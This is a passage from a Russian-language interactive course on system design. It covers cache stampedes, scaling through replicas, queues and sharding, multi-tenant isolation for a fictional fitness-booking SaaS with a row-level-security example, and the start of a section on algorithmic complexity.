    Комбинация, которую применяют в проде: TTL как страховка (данные не устареют навсегда, даже если событие потерялось) плюс удаление по событию как основной механизм свежести. Один TTL даёт устаревание, одно событие — вечный мусор при потере сообщения.

    Почему даже «удалить ключ» можно сделать неправильно

    Разберём гонку: два запроса одновременно, и порядок операций решает всё. Код меняет цену так: сначала удаляет ключ из кеша, потом пишет в базу. Кажется, всё честно.

    глава 9 · беды · лавина открытие библиотеки: все за одной книгой

    9:00, библиотека открывается. Сорок читателей пришли за вчерашней новинкой. На столе её нет: вечером стол убрали (так бывает после перезапуска кеша или когда у записи истёк TTL). Библиотекарей много, и каждый, услышав «нет на столе», бежит в подвал. Сорок человек в узком проходе подвала, очередь, кто-то не дождался и ушёл. Это лавина (cache stampede): много одновременных промахов по одному ключу, и все они разом бьют в базу.

    Защита простая: замок (его ещё называют single-flight, «один полёт»). Первый библиотекарь вешает табличку «я уже пошёл за новинкой», остальные ждут его у стойки. В подвал идёт один человек. Сравните. База здесь выдерживает 6 запросов одновременно, каждый длится 200 мс, а читатель ждёт не больше 700 мс.

    пришёл, ждёт очереди в базу его запрос выполняется в базе ждёт соседа (замок) получил книгу не дождался — ошибка
    Запросов в базу: — Самая длинная очередь: — Получили ответ: — Ошибок: — Последний ответ через: —
    Сначала откройте двери без защиты.

    Лавина по расписанию: все записи истекают разом

    Вторая разновидность лавины. Утром кеш прогрели: положили 40 популярных карточек одновременно, у всех TTL 60 секунд. Значит, через минуту все 40 истекут в одну секунду. И ещё через минуту. И ещё. Пила. Лекарство — случайный разброс TTL (jitter): каждой записи срок чуть разный, например от 48 до 72 секунд. Истечения размазываются по времени.

    три минуты; каждый столбик — 2 секунды; высота — сколько записей истекло и ушло в базу

    глава 9 · всё вместе минута трафика: попадания, промахи и лавина

    Соберём всё в один симулятор. 60 секунд, ключи запрашиваются неравномерно: есть горячие, как в жизни. Двигайте ползунки и включайте защиты. Смотрите на нагрузку, которая доходит до базы, — и особенно на пик.

    600
    100
    20 с
    Попаданий: — Запросов в базу: — Пик нагрузки на базу: — Экономия: —

    каждый столбик — одна секунда; высота — число запросов, дошедших до базы

    Запустите моделирование.

    глава 9 · остальные беды как кеш делает хуже, чем было

    Лавина — не единственная беда. Вот полный список того, что ломается на практике. Нажмите на пункт, чтобы раскрыть: что происходит, как это выглядит в библиотеке и как лечить.

    глава 10 · проверьте себя по всей истории

    Решено 0 из 0.

    задание кеширование в проде

    Решено 0 из 0.

    Дальше → масштабирование: состояние, шардирование, репликация и цена перехешивания

    Масштабирование — это умение обслужить в десять и в сто раз больше людей, не переписывая систему с нуля. Здесь мы проследим одну историю: интернет-магазин растёт от 100 до 1 000 000 покупателей. На каждом этапе что-то упирается, и мы разберём, что именно, почему и что с этим делают. Главный вывод сразу: код размножить легко. Трудности начинаются с состоянием, то есть с данными, которые надо где-то помнить.

    карта раздела одна история в одиннадцати главах

    Читать лучше по порядку: каждая глава опирается на предыдущую. Но можно и прыгнуть сразу к нужной.

    глава 1 · что это что такое масштабирование и зачем оно

    Масштабирование — это способность системы выдерживать больше нагрузки, когда мы добавляем ей ресурсы: процессоры, память, серверы. Хорошо масштабируемая система растёт «докупкой железа». Плохо масштабируемая — только переписыванием.

    Нагрузка — это сколько работы на систему сваливается. Её меряют тремя числами: сколько запросов приходит в секунду, сколько данных надо хранить и сколько людей сидит одновременно.

    Житейски: кафе. Весь раздел мы будем сверяться с кафе. Сначала один повар делает всё. Потом ему покупают плиту побольше. Потом нанимают ещё поваров. Потом открывают отдельный бар для напитков, выдают номерки. И наконец открывают филиалы в разных районах. Каждый шаг решает конкретную беду, и у каждого есть точный аналог в программах.

    Словарик: пять слов, без которых дальше никак

    RPS

    Requests per second, запросов в секунду. Главная мера нагрузки. Обычный день магазина — 400 RPS, чёрная пятница — 12 000.

    Узел

    Один сервер или одна запущенная копия программы. «Три узла» — три одинаковые копии, работающие рядом.

    Узкое место

    Часть системы, которая сдаётся первой. Как узкое горлышко бутылки: сколько ни наклоняй, быстрее не польётся.

    Задержка

    Сколько человек ждёт ответа, в миллисекундах (мс). 100 мс ощущаются как «мгновенно», 1 000 мс — как «подвисло».

    Пропускная способность

    Сколько запросов система успевает обработать за секунду. Если приходит больше, чем она успевает, растёт очередь, а за ней и задержка.

    Состояние

    Всё, что программа помнит между запросами: корзина, вход в систему, счётчики. Именно из-за него масштабирование трудное.

    Зачем это вообще нужно

    глава 2 · сквозной пример Анна в чёрную пятницу нажимает «Купить»

    Сначала посмотрим на готовую большую систему целиком: какой путь проходит одно нажатие кнопки. Сейчас 10:00, стартовала распродажа. Анна из Екатеринбурга хочет кроссовки, и вместе с ней на кнопку жмут ещё 12 000 человек в секунду.

    Нажимайте «Дальше». На схеме подсвечивается, кто сейчас работает. Под схемой — что именно происходит, какие данные летят и что было бы без этой детали. Термины пока не страшны: каждый объясняется на месте, а подробно — в следующих главах.

    глава 3 · история роста как магазин дорос до такой схемы

    Такую систему никто не строит в первый день. Она вырастает по шагам, и каждый шаг — ответ на конкретную боль. Пройдите шесть этапов жизни магазина. Слева кафе, справа программа: беда и лекарство у них одинаковые.

    глава 4 · симулятор крутите нагрузку — смотрите, что упрётся первым

    Теперь сами. Увеличивайте число покупателей и смотрите на полоски: каждая показывает, насколько загружена часть системы. Вертикальная черта — 100 %. Что перевалило за неё, то и есть узкое место. Лечите его кнопками ниже и крутите дальше.

    Цель: 1 000 000 покупателей в чёрную пятницу, ни одна полоска не за чертой, корзины не пропадают. И постарайтесь не переплатить.

    100

    Чем лечим

    1
    0
    1
    Как считает симулятор. Числа учебные, но пропорции честные. Одна копия приложения на обычном сервере тянет 600 запросов в секунду, на мощном — 1 500. База на чтение: 1 500 и 4 000 на каждый узел. База на запись: 300 и 800, причём запись принимает только лидер каждого шарда. Кеш снимает с базы 85 % чтений. Без CDN картинки грузят приложение. Без очереди каждое «Купить» держит приложение в восемь раз дольше, пока уходит письмо.

    глава 5 · вверх или вширь мощнее сервер или больше серверов

    Когда что-то упёрлось, путей два. Вертикальное масштабирование («вверх») — заменить сервер на более мощный: больше ядер, памяти, быстрее диск. Горизонтальное масштабирование («вширь») — поставить рядом ещё несколько таких же серверов и делить работу между ними.

    Житейски. Вверх — это купить повару плиту на шесть конфорок вместо двух. Вширь — нанять ещё трёх поваров. Плита ставится за вечер, и повару ничего не надо переучивать. Зато три повара не упираются в размер одной кухни, а если один заболел, кафе работает дальше.

    Вертикально — больше железа

    За: ничего не надо менять в коде, нет распределённых проблем, транзакции остаются настоящими. Современный сервер тянет очень много — большинство систем никогда не перерастают один узел.

    Против: есть потолок, цена растёт нелинейно (топовое железо стоит непропорционально), и это по-прежнему один узел — то есть одна точка отказа и простой на время перезагрузки.

    Горизонтально — больше узлов

    За: потолка практически нет, обычное дешёвое железо, отказ одного узла не фатален, можно наращивать и убирать по нагрузке.

    Против: требует отсутствия состояния в узле, приносит сеть со всеми её бедами, а для данных — репликацию и шардирование с их компромиссами.

    Сравнение по пунктам

    Нажмите на строку — раскроется объяснение.

    Практический порядок: сначала выжать вертикальное масштабирование и оптимизацию (индексы, запросы, кеш) — это дни работы и обратимо. Потом вынести чтение на реплики. Потом горизонтально масштабировать сервисы без состояния. И только потом, когда упёрлись в запись, — шардирование, потому что это решение почти необратимо.

    Проверьте себя: шесть реальных случаев

    Правильного ответа «всегда вширь» не существует: вертикальное масштабирование проще, дешевле в обслуживании и часто его достаточно. Нажмите на случай — что делать и почему.

    глава 6 · состояние почему вторая копия теряет корзину

    Горизонтальное масштабирование работает, только если копии взаимозаменяемы: любой запрос может попасть в любую копию, и результат тот же. Для этого копия не должна ничего помнить между запросами. Такой сервис называют stateless («без состояния»). Если помнит — stateful («с состоянием»).

    Житейски. Повар, который держит заказы в голове, незаменим: заболел — и заказы пропали. Повар, который пишет заказ на бланке и вешает на общую доску, заменим кем угодно. Общая доска — это Redis или база. Повар без памяти — stateless-сервис.

    Попробуйте сами: три узла и корзина Анны

    Балансировщик отправляет каждый запрос Анны на следующий узел по кругу. Добавьте пару товаров, откройте корзину, уроните узел. Потом переключите, где живёт корзина, и повторите. Липкие сессии — это когда балансировщик запоминает, что Анна «живёт» на узле 1, и всегда шлёт её туда.

    Где ещё прячется состояние

    «Наш сервис stateless» — обычно неправда. Состояние прячется в неочевидных местах, и обнаруживается это при попытке добавить второй узел. Нажмите на пункт — раскроется, чем он опасен и куда его девать.

    глава 7 · реплики копии одних и тех же данных

    Приложение мы размножили. Но все копии ходят в одну базу, и теперь упирается она. В магазине чтений в 10–20 раз больше, чем записей: товар смотрят сто раз, покупают один. Значит, первым делом разгружаем чтение.

    Репликация — это когда у базы есть несколько полных копий. Реплика — одна такая копия. Обычно одна копия главная, её называют лидером: только она принимает запись и рассылает изменения остальным. Читать можно с любой.

    Житейски. Меню кафе. Оригинал один, у шефа: только он вписывает новые блюда. Официантам раздают ксерокопии, чтобы гости не толпились у шефа. Когда шеф меняет цену, копии обновляются не мгновенно — какое-то время официант называет старую цену. Это и есть отставание реплики.
    СхемаКак работаетПлюсыМинусы
    Один лидер
    leader–follower
    Запись только в лидера, он передаёт изменения репликам; чтение — с любой Просто, нет конфликтов записи, чтение масштабируется Запись не масштабируется; реплики отстают; при падении лидера нужны выборы
    Несколько лидеров
    multi-leader
    Запись в несколько узлов, они синхронизируются между собой Запись в разных регионах локальна и быстра; переживает разрыв между регионами Конфликты записи неизбежны, и их разрешение — доменное решение, а не техническое
    Без лидера
    leaderless
    Клиент пишет и читает сразу с нескольких узлов, решает по кворуму (Dynamo, Cassandra) Нет единой точки отказа, высокая доступность, настраиваемый компромисс Требуется кворум и разрешение расхождений; сложнее рассуждать о поведении

    Синхронная или асинхронная

    Это вопрос о том, когда лидер говорит клиенту «записано»: до того, как копии получили изменение, или после.

    • Синхронная: лидер подтверждает запись только после того, как её приняла реплика. Данные не теряются при падении лидера, но каждая запись оплачивается сетевым обменом, а недоступность реплики блокирует запись.
    • Асинхронная: лидер подтверждает сразу. Быстро, но при его падении последние записи теряются безвозвратно.
    • Полусинхронная (обычный выбор): ждём подтверждения хотя бы от одной реплики из нескольких. Компромисс, который берут по умолчанию.
    Отставание реплики — источник самых загадочных багов. Записали в лидера, тут же прочитали с реплики и не увидели своей записи. Проявляется нерегулярно и не воспроизводится на тесте, где реплика не отстаёт. Лечится гарантией «читай своё»: запросы пользователя в течение нескольких секунд после записи направляются к лидеру. Именно это вы видели на шаге 11 в истории Анны.

    Три схемы на одном примере

    Один и тот же случай во всех трёх схемах: два человека одновременно покупают последнюю пару 42-го размера, один в Москве, другой во Владивостоке. Переключайте схему и проходите по шагам.

    глава 8 · кеш и CDN не спрашивать базу лишний раз

    Реплика разгружает базу, но запрос всё равно доходит до какой-то базы. Ещё дешевле — не доходить вовсе. Для этого есть два приёма.

    Кеш — это копия частых ответов в быстрой памяти рядом с приложением (обычно Redis). Цена кроссовок не меняется каждую секунду, так что её можно спросить у базы один раз и потом минуту отдавать из памяти. CDN (Content Delivery Network, сеть доставки контента) — это много серверов в разных городах, на которых лежат копии картинок, скриптов и видео. Файл отдаёт ближайший к человеку сервер, а до вашего дело не доходит.

    Житейски. Кеш — это графин готового лимонада на барной стойке: не надо каждый раз резать лимоны. CDN — это газетный киоск у метро: газету не везут из типографии каждому читателю, пачки заранее лежат рядом с домом.

    Кеш, реплика, CDN: в чём разница

    Все три — «копии», но копируют разное и живут в разных местах. Нажмите на строку, чтобы раскрыть.

    Как устроен кеш изнутри: как его наполнять, когда сбрасывать и что делать, если он внезапно опустел, — в отдельном разделе.

    глава 9 · очереди как пережить пик, не покупая сервер под него

    Чёрная пятница — это пик: 10 секунд по 12 000 заказов, потом снова 800. Держать серверы под пик круглый год дорого. Выход — не делать всё сразу. Очередь — это хранилище записок «надо сделать»: приложение кладёт записку и сразу отвечает пользователю, а отдельные программы-исполнители, воркеры, разбирают записки в своём темпе.

    Житейски. Номерок в кафе. Вы заплатили, получили номер и сели за столик. Кухня готовит в своём темпе и зовёт по табло. Без номерков вы стояли бы у стойки, пока не приготовят, и очередь загибалась бы за дверь.

    Попробуйте: 60 секунд распродажи

    Первые 10 секунд приходит по 12 000 заказов в секунду, дальше — по 800. Крутите, сколько записок в секунду успевают разобрать воркеры, и сравните работу с очередью и без неё.

    3 000
    0 с10 с — пик кончился60 с
    Чем платим. Пользователь получает не «готово», а «принято». Письмо придёт через минуту, а не через секунду. И надо продумать, что будет, если воркер упадёт посреди записки: её должен подхватить другой, а повторная обработка не должна отправить письмо дважды. Подробнее — в разделах про общение сервисов и outbox.

    глава 10 · шардирование когда упёрлись в запись

    Реплики, кеш и очереди разгрузили чтение и сгладили пики. Но запись по-прежнему принимает один лидер. Когда и самый мощный сервер не успевает записывать заказы, остаётся последний шаг. Шардирование — это разрезать данные на части и положить каждую на свой сервер. Одна такая часть называется шард. У каждого шарда свой лидер, и запись делится между ними.

    Житейски: филиалы. Кафе открыло три филиала: северный, центральный, южный. Каждый обслуживает свой район, у каждого своя кухня и свой журнал заказов. Никто не бегает через весь город. Но теперь вопрос «сколько всего заказов было вчера» требует обзвонить всех, а перевести постоянного гостя в другой филиал — отдельная морока.
    Не путайте с репликацией. Репликация — это копии одного и того же: в каждом филиале одинаковое меню. Шардирование — разные вещи в разных местах: в северном филиале журнал северных гостей, в южном — южных. Первое спасает от потери и разгружает чтение, второе — от нехватки места и разгружает запись.

    Симулятор: цена добавления шарда

    Как решить, в какой шард класть запись? Для этого есть правило распределения. Здесь 10 000 ключей распределены по шардам. Добавьте шард и посмотрите, сколько ключей придётся физически перевезти. Разница между способами — это разница между «переезд за ночь» и «переезд за квартал».

    Что значат способы. hash % N: превращаем ключ в число и берём остаток от деления на число шардов. Согласованное хеширование: шарды и ключи раскладываются по кругу, ключ идёт к ближайшему шарду по часовой стрелке. Каталог: отдельная таблица «ключ → шард», которую ведём вручную.
    Шардов: 4 Ключей переезжает: — Перекос: —
    Добавьте шард и сравните способы.

    Как выбрать ключ шардирования

    Ключ шардирования — это поле записи, по которому решаем, в какой шард её класть. У Анны это был её идентификатор клиента. Самое необратимое решение во всей теме: ключ определяет, какие запросы будут быстрыми, а какие станут невозможными.

    Хороший ключ

    • Равномерно распределяет — нет шарда, куда попадает четверть данных.
    • Совпадает с границей запросов — типичный запрос обслуживается одним шардом.
    • Совпадает с границей транзакций — то, что меняется вместе, лежит вместе.
    • Стабилен — не меняется у существующей записи (иначе это переезд между шардами).

    Плохой ключ

    • Дата или автоинкремент — вся сегодняшняя запись идёт в один шард, остальные простаивают.
    • Поле с перекосом — «страна», где 80 % записей одной страны.
    • Не тот, по которому ищут — каждый запрос идёт во все шарды и собирается на клиенте.
    • Изменяемый — смена значения означает физический перенос записи.
    Типичные удачные ключи: идентификатор клиента (для SaaS — идентификатор организации), идентификатор заказа, географическая зона. Все они обладают общим свойством: подавляющее большинство запросов относится к одному значению ключа. Запрос «покажи мои заказы» обслуживается одним шардом, а запрос «все заказы за вчера по всем клиентам» — всеми сразу, и его выносят в аналитическое хранилище.

    Партиционирование, шардирование, репликация

    Три слова, которые постоянно путают. Партиционирование — самое скромное из них: таблица режется на части, но остаётся в одной базе.

    Партиционирование

    Разрезание таблицы на части внутри одной базы: по дате, по диапазону, по списку. Запросы ходят только в нужные части, старые куски легко удаляются целиком. Не увеличивает мощность, но сильно ускоряет и упрощает обслуживание.

    В кафе: журнал заказов разбит на тетради по месяцам. Кафе одно.

    Шардирование

    Те же части, но на разных серверах. Увеличивает и объём, и пропускную способность записи. Приносит все проблемы распределённости: нет общих транзакций, нет общих JOIN, нет глобальной уникальности.

    В кафе: филиалы, у каждого свои гости и свой журнал.

    Репликация

    Копии одних и тех же данных. Масштабирует чтение и даёт отказоустойчивость, но не помогает с объёмом и записью: каждая реплика хранит всё.

    В кафе: ксерокопии меню у каждого официанта.

    Порядок применения: партиционирование (дёшево, обратимо, часто достаточно) → реплики для чтения (дёшево, решает 80 % проблем с нагрузкой) → шардирование (дорого, почти необратимо, только когда упёрлись в запись или в объём одного узла). Шардирование, введённое «на будущее», — самая дорогая преждевременная оптимизация в этой профессии.

    глава 11 · итог лестница масштабирования и проверка

    Соберём всю историю в одну лестницу. Поднимайтесь по ней снизу вверх и не перепрыгивайте ступени: каждая следующая дороже и труднее отменяется.

    0
    ИзмеритьНайти настоящее узкое место. Часто это один запрос без индекса.
    почти даром
    1
    Вверх: сервер мощнееПокупает время без единой строчки кода.
    часы
    2
    Вынести состояниеСессии и корзины — в Redis, файлы — в объектное хранилище.
    дни
    3
    Вширь: копии + балансировщикРастём по нагрузке и переживаем падение узла.
    дни
    4
    Кеш, CDN, репликиСнимаем чтение с базы: оно в 10–20 раз чаще записи.
    недели
    5
    ОчередиВсё долгое — в фон, пики сглаживаются.
    недели
    6
    ШардированиеТолько когда упёрлись в запись или объём одного узла.
    месяцы, почти необратимо

    Задание: что упёрлось → что поможет

    Для каждой ситуации выберите самое дешёвое лекарство, которое её решает. Решено 0 из 0.

    Задание: масштабирование

    Решено 0 из 0.

    Дальше → мультиарендность: как одна система обслуживает сотни компаний-клиентов и не даёт им мешать друг другу

    Мультиарендность — это когда одна программа обслуживает сразу много компаний, а каждая видит только своё, как будто программа написана для неё одной. Так устроены почти все облачные сервисы по подписке (SaaS). Разбираем на платформе записи на занятия «Слот», которой пользуются сети фитнес-клубов и студий: как разделить клиентов — всем общее, своя база или отдельная установка, откуда сервис узнаёт, чей это запрос, что делать с шумным соседом и где данные клиентов перемешиваются чаще всего.

    зачем это зачем делить одну систему между многими клиентами

    карта раздела одна платформа, четыре клиента, семь глав

    В главах 3–6 есть задания: каждое засчитывается отдельно. У части есть лестница подсказок — открывайте по одной, если застряли.

    глава 1 · завязка бизнес-центр: арендатор — это не пользователь

    Сначала без терминов. Бизнес-центр: одно здание, общий лифт, охрана и котельная — поэтому аренда дешевле своего особняка. Но у каждой компании свой ключ, своя табличка на двери и свой счётчик электричества. Сотрудники компании ходят по своему офису, а в чужой не попадают, даже если очень захотят.

    Арендатор (tenant) — компания-клиент, которая пользуется сервисом по подписке. У арендатора много пользователей: администраторы, тренеры, посетители. Мультиарендность (multi-tenancy) — одна система обслуживает многих арендаторов, держа их данные и нагрузку раздельно.
    бизнес-центр. Арендатор — компания, которая подписала договор. Пользователи — её сотрудники с пропусками. Изолируют компании друг от друга; кто из сотрудников что может внутри своего офиса — уже обычные роли.

    История

    кто платит «Слоту»Платформа записи «Слот» работает третий год. Её арендаторы — сети клубов и студий. У каждого свои клубы, расписание, тренеры и посетители, а программа одна на всех.
    Платформа «Слот»одна программа, одна команда, один конвейер выкатки
    🧘 Йога у дома3 зала, 900 посетителей
    4 900 ₽ в месяц
    🏋 Фитнес-Лайтфраншиза: 120 клубов, 180 000 посетителей
    120 000 ₽ в месяц
    🩺 Клиника ЛФКреабилитация после травм: в записях — ограничения по здоровью
    40 000 ₽ в месяц
    🏦 Банк-Спортзалы для сотрудников банка; строгая служба безопасности
    600 000 ₽ в месяц
    Проще говоря. Арендатор — тот, кто платит за подписку; пользователь — тот, кто нажимает кнопки. Мультиарендность решает три задачи: чужого не видно, соседи не мешают, счёт у каждого свой. Всё остальное в разделе — как этого добиться и сколько это стоит.

    глава 2 · модели изоляции всё общее, своя схема, отдельная установка — и ячейки

    Модель изоляции — что у арендаторов общее, а что своё: серверы приложений, база, схема в базе, ключи шифрования, окно обновлений. Три классические модели называют пул (pool), мост (bridge, у нас — «своя схема») и силос (silo, «отдельная установка»).

    🏢 Пул: всё общее, у строки метка

    Open space в бизнес-центре: все сидят за общими столами, у каждого бейдж своей компании. Одна база, одни таблицы, в каждой строке tenant_id. Самое дешёвое и самое быстрое подключение — но одна забытая метка, и данные перемешались.

    🚪 Своя схема (или база)

    Свой кабинет на общем этаже: стены свои, лифт и охрана общие. Код и серверы приложений общие, а у клиента своя схема в общей базе или своя база на общем сервере. Данные разделены по-настоящему, но миграции катятся на каждую схему отдельно.

    🏠 Отдельная установка

    Свой особняк: отдельные серверы, база, ключи шифрования, своё окно обновлений. Изоляция полная, но каждая установка — отдельная выкатка, отдельный мониторинг и отдельный счёт.

    🐝 Ячейки

    Несколько одинаковых бизнес-центров: клиенты закреплены за зданием, внутри здания — пул. Авария задевает одну ячейку, выкатка идёт по ячейкам. Крупному клиенту можно дать свою ячейку — изоляция как у особняка, а обслуживание общим конвейером.

    Сравнение: что получаем и чем платим

    ПулСвоя схемаСвоя ячейкаОтдельная установка
    Цена для платформы, ₽ в месяц на клиента≈ 300≈ 2 500≈ 45 000≈ 180 000
    Подключение нового клиентасекунды: запись в таблицеминуты: создать схемучасы: развернуть ячейкудни и недели
    «Наши данные — отдельно»нет, только меткада: копия, выгрузка, удаление целикомдада, со своими ключами
    Шумный соседестьесть: серверы и сервер базы общиенетнет
    Обновленияодна выкатка на всеходна выкатка, миграция × число схемтем же конвейером, по ячейкамотдельно, в своё окно
    Цена ошибки «забыли фильтр»утечка всемне страшно: запрос живёт в своей схемевнутри ячейкине страшно
    Числа модельные, пропорции реальные. Пул дешевле отдельной установки в сотни раз, потому что серверы, база, мониторинг и дежурство делятся между всеми. Поэтому почти все SaaS начинают с пула и выносят в отдельную схему, ячейку или установку только тех, кому это действительно нужно и кто за это платит.

    Интерактив: радиус аварии

    24 клиента «Слота» в четырёх моделях. Выберите модель и устройте аварию — увидите, кого она задела. Обведённая плитка — тот, с кого всё началось.

    глава 3 · выбор модель изоляции под клиента: цена и риски

    Одной модели на всех не бывает. Обычно у SaaS две-три «полки»: большинство в пуле, кому нужно — отдельно. Решение принимают по клиенту, а не по вкусу архитектора.

    1 · Жёсткое требование

    Есть ли у клиента «данные отдельно», свои ключи, своё окно обновлений, требования регулятора? Это отсекает дешёвые варианты сразу.

    2 · Нагрузка

    Будут ли его пики мешать соседям, а соседи — ему? Шумному соседу нужна своя ячейка или жёсткие лимиты.

    3 · Деньги и скорость

    Окупает ли выручка клиента его модель? Нужно ли подключить его сегодня? Берите самую дешёвую модель, которая закрывает требования.

    задание · модель изоляции

    Подберите модель каждому из четырёх клиентов

    Нажимайте на модели — ниже появятся цена для платформы и что получит клиент. Когда выберете всем, нажмите «Проверить выбор». Подобрано верно: 0 из 4.

    глава 4 · контекст клиента откуда сервис узнаёт, чей это запрос

    Контекст арендатора (tenant context) — ответ на вопрос «чей это запрос». Сервер узнаёт его один раз на входе, из проверенного токена или сессии, и дальше несёт с собой: в запрос к базе, ключ кеша, сообщение в очереди, запись в журнале.
    пропуск в бизнес-центре. Охрана смотрит на пропуск, а не на то, что вы сказали («я из пятого офиса»). Лифт везёт на этаж, записанный в пропуске. Если бы охрана верила на слово, в любой офис можно было бы войти, назвав чужой номер.

    🔑 Из входа, не из тела

    Клиент — из токена, который выдал наш сервер входа. Не из поля tenantId в теле, не из параметра в адресе. Поддомен fitlite.slot.app подсказывает страницу входа, но после входа решает токен.

    🗄 В каждой таблице

    tenant_id в каждой строке, первым полем в индексах и уникальных ключах. Сверху — защита в самой базе: политика строк не отдаст чужие строки, даже если в запросе забыли фильтр.

    ⚡ В ключе кеша

    t:{клиент}:schedule:{клуб}:{дата}. Номера клубов у клиентов пересекаются: у каждого есть «клуб 1».

    📨 В очереди

    Сообщение несёт метку клиента. Обработчик ставит контекст перед работой и сбрасывает после.

    🔭 В журналах и метриках

    Без метки не разобрать жалобу клиента, не найти шумного соседа и не выставить счёт по расходу.

    🚦 В лимитах

    Запросы в секунду, тяжёлые отчёты, место на диске — свой лимит у каждого клиента.

    // ✕ клиент из тела запроса: подставь чужой — получишь чужое
    const tenant = req.body.tenantId;
    
    // ✓ клиент из проверенного токена входа
    const tenant = req.auth.claims.tenant_id;
    
    -- защита в базе (PostgreSQL): политика строк по контексту соединения
    ALTER TABLE bookings ENABLE ROW LEVEL SECURITY;
    CREATE POLICY by_tenant ON bookings
      USING (tenant_id = current_setting('app.tenant')::uuid);
    
    -- в каждой транзакции: SET LOCAL живёт только до её конца
    BEGIN; SET LOCAL app.tenant = '…'; INSERT INTO bookings …; COMMIT;

    Интерактив: путь записи на занятие с меткой клиента

    Сравните два пути одного запроса: правильный и тот, где сервис взял клиента из тела запроса.

    задание · метка клиента

    Где живёт метка клиента

    Выберите правильный ответ. Ошиблись — прочитайте, почему, и попробуйте другой. Решено 0 из 0.

    глава 5 · шумный сосед один клиент не должен съедать ресурсы всех

    Шумный сосед (noisy neighbor) — клиент, чья нагрузка забирает общие ресурсы так, что остальным становится плохо. Не обязательно злой: франшиза просто открыла запись на неделю, и 180 000 человек пришли одновременно.
    общежитие с одной плитой на этаж. Один сосед варит холодец восемь часов — остальные без ужина. Помогает расписание на плиту (лимит), отдельная плита для долгой готовки (своя очередь) или переселение любителя холодца в квартиру с кухней (своя ячейка). Купить вторую плиту на всех — дорого и не спасает: холодец займёт и её.
    задание · симулятор

    Унять шумного соседа и уложиться в бюджет

    Четыре клиента в одном пуле. Цель: в понедельник в 7:00, когда «Фитнес-Лайт» открывает запись (запросов в 20 раз больше), и во время годового отчёта «Клиники» остальные клиенты должны получать ответ за p95 ≤ 500 мс с ошибками не больше 1 %. Бюджет на изменения — не больше +30 % к счёту за серверы. Включайте меры, запускайте события, потом нажмите «Проверить решение».

    Полоса — время ответа p95: пунктир — цель 500 мс, вся полоса — 3 секунды и больше.

    Интерактив: кто устроил пик — видно только с меткой клиента

    Дежурный видит график запросов к платформе в понедельник утром. Переключите график на разбивку по клиентам.

    Счёт по клиенту

    Та же метка в метриках раскладывает расход платформы по клиентам. Ниже — месяц «Слота».

    Что видно из таблицы. «Клиника» приносит 23 % выручки, а расходует 27 % ресурсов — из-за тяжёлых отчётов. Это повод для тарифа «отчёты сверх лимита — за доплату», а не для обиды. Без метки клиента в метриках такой таблицы нет, и цены на тарифы назначают наугад.

    глава 6 · утечки где данные клиентов перемешиваются

    Утечки между клиентами почти никогда не выглядят как взлом. Это забытая метка в одном месте: в ключе кеша, в общей выгрузке, в соединении, которое вернулось в пул с чужим контекстом. Поэтому их ищут, проходя путь данных целиком.

    задание · поиск утечек

    Найдите в описании «Слота» места, где данные клиентов перемешаются

    Это двенадцать строк из документа архитектуры «Слота». Нажмите на каждую строку, где данные одного клиента могут попасть к другому, и нажмите «Проверить».

    глава 7 · итог чек-лист мультиарендной системы

    • Для каждого класса клиентов выбрана модель изоляции, и записано, когда клиент переезжает в свою схему, ячейку или установку.
    • Клиент берётся из входа; в теле запроса его нет, а если есть — сверяется с токеном.
    • Метка клиента есть в каждой таблице, ключе кеша, сообщении, журнале, файле и индексе поиска.
    • База сама не отдаёт чужие строки: политика строк или своя схема.
    • Лимиты на клиента: запросы, тяжёлые отчёты, место; тяжёлое — в отдельной очереди.
    • Метрики и расход видны по клиенту; счёт за серверы можно разложить.
    • Доступ поддержки — личный, по заявке клиента, на время и с журналом аудита.
    • Известен радиус аварии: что пострадает при отказе базы, при плохой выкатке, при ядовитом запросе.
    Как это звучит в постановке. «Слот» — пул с политикой строк в базе. Клиенты с требованием отдельного хранения — своя схема. Клиенты с пиками выше ×10 от обычной нагрузки — своя ячейка. Отдельная установка — только по договору с окном обновлений. Клиент берётся из утверждения tenant_id в токене входа. Лимит по умолчанию — 300 запросов в секунду на клиента; не больше двух тяжёлых отчётов одновременно. В одной ячейке — не больше 50 клиентов.
    Дальше → сложность: как растёт цена перебора, индекса и соединения, когда данных становится больше

    Скорость программы зависит не столько от сервера, сколько от того, как растёт её работа, когда растут данные. Функция, которая на тестовых 100 строках отвечает мгновенно, на 10 миллионах строк может думать неделю. Разберёмся, как это предсказать заранее — без высшей математики. Раздел проведёт одна история: проверка заказов в магазине кроссовок «Ботинок», которая «летала» на тесте и легла на проде.

    зачем это зачем аналитику понимать O(1), O(log n) и O(n)

    карта раздела одна история, четырнадцать глав

    Главы идут по порядку: каждая опирается на предыдущую. Первые три — фундамент: что такое «сложность» и как её сравнивать. Главы 4–8 — каждый класс скорости по отдельности, от мгновенного до «не досчитается никогда». Дальше — как считать самому и как это применять в архитектуре и требованиях. Нажмите на главу, чтобы перейти к ней.

    глава 1 · завязка на тесте летало, на проде легло: история одной проверки

    Начнём с трёх слов, без которых дальше никак.

    определениеАлгоритм — точный порядок действий, который решает задачу. «Пройти по всем заказам и сравнить каждый с каждым» — алгоритм. «Открыть справочник посередине и отбросить ненужную половину» — тоже алгоритм.
    определениеn — размер входных данных: сколько строк в таблице, заказов в списке, товаров в каталоге, символов в строке. Буква условная. Если входов два (заказы и покупатели), их обозначают разными буквами: n и m.
    определениеСложность алгоритма (computational complexity) — правило, по которому растёт работа алгоритма, когда растёт n. Не «сколько секунд», а «во сколько раз больше работы, если данных станет в 10 раз больше». Чаще всего говорят о сложности по времени — числе шагов. Бывает ещё сложность по памяти (о ней — в главе 10).
    вам нужно найти слово «крокодил» в бумажном словаре на 1 500 страниц. Можно листать подряд с первой страницы — в среднем придётся перевернуть 750 страниц. А можно открыть посередине, увидеть «мост», понять, что «крокодил» левее, и отбросить правую половину. Потом ещё раз пополам — и так далее. Хватит 11 открываний. На брошюре из 10 страниц разницы между способами нет. На словаре — это час против минуты. На «словаре» из миллиарда страниц — годы против 30 открываний.

    Хроника одной функции

    Магазин кроссовок «Ботинок». Иногда покупатель жмёт «Оформить» дважды, и появляются два одинаковых заказа. Разработчик Борис пишет ночную проверку: найти такие дубли. Аналитик Олег принимает задачу. Пройдите по шагам, что происходило с этой проверкой полтора года. Смотрите на две цифры: сколько заказов и сколько длится проверка.

    Главное правило главы: считайте «во сколько раз»

    Олег не знает, сколько секунд займёт проверка на новом сервере. Но он может ответить на другой вопрос — и этого почти всегда достаточно: если данных станет в 10 раз больше, во сколько раз вырастет работа? Ответ зависит только от алгоритма.

    Как растёт работаДанных ×10 — работы…Пример
    O(1) — константастолько жевзять корзину Анны по ключу
